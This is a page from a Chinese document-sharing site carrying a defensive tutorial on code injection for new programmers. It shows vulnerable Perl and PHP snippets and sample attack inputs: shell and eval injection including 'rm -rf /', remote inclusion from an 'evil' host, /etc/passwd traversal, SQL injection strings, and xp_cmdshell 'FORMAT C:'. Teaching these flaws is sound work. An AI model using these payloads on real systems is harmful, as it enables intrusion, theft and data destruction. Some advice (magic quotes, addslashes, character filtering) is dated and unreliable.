欢迎来到淘文阁 - 分享文档赚钱的网站! | 帮助中心 好文档才是您的得力助手!
淘文阁 - 分享文档赚钱的网站
全部分类
  • 研究报告>
  • 管理文献>
  • 标准材料>
  • 技术资料>
  • 教育专区>
  • 应用文书>
  • 生活休闲>
  • 考试试题>
  • pptx模板>
  • 工商注册>
  • 期刊短文>
  • 图片设计>
  • ImageVerifierCode 换一换

    程序员疫苗代码注入.doc

    • 资源ID:70345428       资源大小:34KB        全文页数:5页
    • 资源格式: DOC        下载积分:15金币
    快捷下载 游客一键下载
    会员登录下载
    微信登录下载
    三方登录下载: 微信开放平台登录   QQ登录  
    二维码
    微信扫一扫登录
    下载资源需要15金币
    邮箱/手机:
    温馨提示:
    快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。
    如填写123,账号就是123,密码也是123。
    支付方式: 支付宝    微信支付   
    验证码:   换一换

     
    账号:
    密码:
    验证码:   换一换
      忘记密码?
        
    友情提示
    2、PDF文件下载后,可能会被浏览器默认打开,此种情况可以点击浏览器菜单,保存网页到桌面,就可以正常下载了。
    3、本站不支持迅雷下载,请使用电脑自带的IE浏览器,或者360浏览器、谷歌浏览器下载即可。
    4、本站资源下载后的文档和图纸-无水印,预览文档经过压缩,下载后原文更清晰。
    5、试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。

    程序员疫苗代码注入.doc

    几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗代码注入。Shell注入我们先来看一段perl的代码:use CGI qw(:standard);$name = param(name);$nslookup = “/path/to/nslookup”;print header;if (open($fh, “$nslookup $name|”) while (<$fh>) print escapeHTML($_);print “n”;close($fh);如果用户输入的参数是:%20%3B%20/bin/ls%20-l那么,这段perl的程序就成了:/path/to/nslookup ; /bin/ls -l我们再来看一段PHP的程序:$myvar = somevalue;$x = $_GETarg;eval($myvar = 。 $x 。 ;);“eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system(rm -rf /)“,后面的”system(rm -rf /)“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”)再来看一个PHP的代码$isadmin= false;.foreach ($_GET as $key => $value) $key = $value;如果攻击者在查询字符串中给定”isadmin=1,那$isadmin将会被设为值 “1,然后攻击值就取得了网站应用的admin权限了。再来看一个PHP的示例:$action = login;if (_isset( $_GETact ) )$action = $_GETact;require( $action 。 .php );这个代码相当危险,攻击者有可能可以干这些事:/test.php?act=http:/evil/exploit - 注入远程机器上有漏洞的文件。/test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做exploit.php文件运行其代码。/test.php?act=././././etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。SQL注入SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下:在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。例程:某个网站的登录验证的SQL查询代码为strSQL = “SELECT * FROM usersWHERE (name = ” + userName + “) and (pw = ”+ passWord +“);”用户在登录时恶意输入如下的的用户名和口令:userName = “ OR 1=1”;passWord = “ OR 1=1”;此时,将导致原本的SQL字符串被解析为:strSQL = “SELECT * FROM users  WHERE (name = OR 1=1) and (pw = OR 1=1);”也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。strSQL = “SELECT * FROM users;”这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如:username= “ ; DELETE FROM users; -”;这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。 所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得这篇文章里的SQL注入? 当他们发现一个网站有SQL注入的时候,他们一般会干下面的事:盗取数据表中的数据,例如个人机密数据(信用卡,身份证,手机号,通讯录),帐户数据,密码等,获得用户的数据和信息后对这些用户进行“社会工程学”活动(如:我前两天在微信上亲身经历)。取得系统管理员权限(例如ALTER LOGIN sa WITH PASSWORD=xxxxxx)。在数据库中的数据中插入一些HTML/JS代码,有可能得以在网页加入恶意链接以及XSS,这样一来就让访问者被黑。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统(例如:MS SQL Server的 xp_cmdshell “net stop iisadmin”可停止服务器的IIS服务)。甚至破坏硬盘数据,瘫痪全系统(例如xp_cmdshell “FORMAT C:”)。现在的黑客比较坏,瘫痪系统的事,他们干的越来越少,因为没什么利益,他们希望通过获取用户的帐号信息后,转而攻击用户别的帐号,如游戏帐号,网银帐号,QQ帐号等等他们可以获利的事情(这就是为什么我希望大家在不站点上使用不同的口令,甚至不同的用户信息的原因)如何避免在组合SQL字符串时,先针对所传入的参数作字符转义(如:将单引号字符取代为连续2个单引号字符)。如果使用PHP开发网页程序的话,亦可打开PHP的Magic quote功能自动将所有的网页传入参数,将单引号字符取代为连续2个单引号字符。如果可能应该过滤以下字符:分号“;”,两个减号“”,单引号“”,注释“/* */”。(当然,因为注入攻击一般用闭合的引号来玩,所以把引号转义了应该就没有什么问题了)更换危险字符。例如在PHP通过addslashes()函数保护SQL注入。限制用户输入的长度,限制用户输入的取值范围。为当前应用建立权限比较小的数据库用户,这样不会导致数据库管理员丢失。把数据库操作封装成一个Service,对于敏感数据,对于每个客户端的IP,在一定时间内每次只返回一条记录。这样可以避免被拖库。1 2 下一页电脑技术啦_http:/www.jishu.la/

    注意事项

    本文(程序员疫苗代码注入.doc)为本站会员(asd****56)主动上传,淘文阁 - 分享文档赚钱的网站仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知淘文阁 - 分享文档赚钱的网站(点击联系客服),我们立即给予删除!

    温馨提示:如果因为网速或其他原因下载失败请重新下载,重复下载不扣分。




    关于淘文阁 - 版权申诉 - 用户使用规则 - 积分规则 - 联系我们

    本站为文档C TO C交易模式,本站只提供存储空间、用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。本站仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知淘文阁网,我们立即给予删除!客服QQ:136780468 微信:18945177775 电话:18904686070

    工信部备案号:黑ICP备15003705号 © 2020-2023 www.taowenge.com 淘文阁 

    收起
    展开